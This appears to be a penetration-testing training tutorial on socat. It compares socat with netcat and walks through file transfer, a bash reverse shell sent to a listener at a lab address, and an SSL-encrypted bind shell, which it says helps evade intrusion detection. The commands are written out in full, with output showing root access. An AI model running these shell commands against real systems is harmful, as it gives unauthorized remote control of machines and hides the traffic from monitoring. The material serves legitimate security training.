Socat

https://www.redhat.com/sysadmin/getting-started-socat

Netcat vs Socat

First, let's connect to a remote server on port 80 using both Netcat and socat:

```
kali@kali:~$ nc <remote server's ip address> 80

kali@kali:~$ socat - TCP4:<remote server's ip address>:80

//Using socat to connect to a remote server on port 80, and comparing its syntax with nc's
```

Note that the syntax is similar, but socat requires the - to transfer data between *STDIO* and the remote host (allowing our keyboard interaction with the shell) and protocol (TCP4). The protocol, options, and port number are colon-delimited.

Because root privileges are required to bind a listener to ports below 1024, we need to use sudo when starting a listener on port 443:

```
kali@kali:~$ sudo nc -lvp localhost 443

kali@kali:~$ sudo socat TCP4-LISTEN:443 STDOUT

//Using socat to create a listener, and comparing its syntax with nc's
```

Notice the required addition of both the protocol for the listener (TCP4-LISTEN) and the *STDOUT* argument, which redirects standard output.

Socat File Transfers

Next, we will try out file transfers. Continuing with the previous fictional characters of Alice and Bob, assume Alice needs to send Bob a file called secret_passwords.txt. As a reminder, Alice's host machine is running on Linux, and Bob's is running Windows. Let's see this in action.

On Alice's side, we will share the file on port 443. In this example, the TCP4-LISTEN option specifies an IPv4 listener, fork creates a child process once a connection is made to the listener, which allows multiple connections, and file: specifies the name of a file to be transferred:

```
kali@kali:~$ sudo socat TCP4-LISTEN:443,fork file:secret_passwords.txt


//Using socat to transfer a file
```

On Bob's side, we will connect to Alice's computer and retrieve the file. In this example, the TCP4 option specifies IPv4, followed by Alice's IP address (10.11.0.4) and listening port number (443), file: specifies the local file name to save the file to on Bob's computer, and create specifies that a new file will be created:

```
C:\Users\offsec> socat TCP4:10.11.0.4:443 file:received_secret_passwords.txt,create


C:\Users\offsec> type received_secret_passwords.txt
"try harder!!!"


//Using socat to receive a file
```

Socat Reverse Shells

Let's take a look at a reverse shell using socat. First, Bob will start a listener on port 443. To do this, he will supply the -d -d option to increase verbosity (showing fatal, error, warning, and notice messages), TCP4-LISTEN:443 to create an IPv4 listener on port 443, and STDOUT to connect standard output (STDOUT) to the TCP socket:

```
C:\Users\offsec> socat -d -d TCP4-LISTEN:443 STDOUT
... socat[4388] N listening on AF=2 0.0.0.0:443


//Using socat to create a listener
```

Next, Alice will use socat's EXEC option (similar to the Netcat -e option), which will execute the given program once a remote connection is established. In this case, Alice will send a /bin/bash reverse shell (with EXEC:/bin/bash) to Bob's listening socket on 10.11.0.22:443:

```
kali@kali:~$ socat TCP4:10.11.0.22:443 EXEC:/bin/bash


//Using socat to send a reverse shell
```

Once connected, Bob can enter commands from his socat session, which will execute on Alice's machine.

```
... socat[4388] N accepting connection from AF=2 10.11.0.4:54720 on 10.11.0.22:443
... socat[4388] N using stdout for reading and writing
... socat[4388] N starting data transfer loop with FDs [4,4] and [1,1]
whoami
kali
id
uid=1000(kali) gid=1000(kali) groups=1000(kali)



//socat output from a connected reverse shell
```

This is a great start, and we have covered some important topics, but so far all of our socat network activity has been in the clear. Let's take a look at the basics of encryption with socat.

Socat Encrypted Bind Shells

To add encryption to a bind shell, we will rely on Secure Socket Layer[1] certificates. This level of encryption will assist in evading intrusion detection systems (IDS)[2] and will help hide the sensitive data we are transceiving.

To continue with the example of Alice and Bob, we will use the openssl application to create a self-signed certificate using the following options:

- req: initiate a new certificate signing request
- -newkey: generate a new private key
- rsa:2048: use RSA encryption with a 2,048-bit key length.
- -nodes: store the private key without passphrase protection
- -keyout: save the key to a file
- -x509: output a self-signed certificate instead of a certificate request
- -days: set validity period in days
- -out: save the certificate to a file

Once we generate the key, we will cat the certificate and its private key into a file, which we will eventually use to encrypt our bind shell.

We will walk through this process on Alice's machine now:

```
kali@kali:~$ openssl req -newkey rsa:2048 -nodes -keyout bind_shell.key -x509 -days 362 -out bind_shell.crt
Generating a 2048 bit RSA private key
.....................+++
.................................+++
writing new private key to 'bind_shell.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:US
State or Province Name (full name) [Some-State]:Georgia
Locality Name (eg, city) []:Atlanta
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Offsec
Organizational Unit Name (eg, section) []:Try Harder Department
Common Name (e.g. server FQDN or YOUR name) []:
Email Address []:
kali@kali:~$ cat bind_shell.key bind_shell.crt > bind_shell.pem


//Setting up socat encryption
```

Now that the key and certificate have been generated, we first need to convert them to a format socat will accept. To do so, we combine both the bind_shell.key and bind_shell.crt files into a single .pem file before we create the encrypted socat listener.

We will use the OPENSSL-LISTEN option to create the listener on port 443, cert=bind_shell.pem to specify our certificate file, verify to disable SSL verification, and fork to spawn a child process once a connection is made to the listener:

```
kali@kali:~$ sudo socat OPENSSL-LISTEN:443,cert=bind_shell.pem,verify=0,fork EXEC:/bin/bash


//Using socat to create an encrypted bind shell
```

Now, we can connect Bob's computer to Alice's bind shell.

We will use - to transfer data between *STDIO*[3] and the remote host, OPENSSL to establish a remote SSL connection to Alice's listener on 10.11.0.4:443, and verify=0 to disable SSL certificate verification:

```
C:\Users\offsec> socat - OPENSSL:10.11.0.4:443,verify=0
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root



//Using socat to connect to an encrypted bind shell
```

Great! Our bind shell was created successfully and we are able to pass commands to Alice's machine.

Take some time to explore socat on your own. This is one of many tools that will be extremely beneficial during a penetration test.

(Wikipedia, 2019), https://en.wikipedia.org/wiki/Transport_Layer_Security ↩

(Wikipedia, 2019), https://en.wikipedia.org/wiki/Intrusion_detection_system ↩

(The Linux Information Project, 2006), http://www.linfo.org/stdio.html ↩

Revision #2
Created 4 September 2022 15:20:28 by Togoboi
Updated 4 September 2022 16:16:35 by Togoboi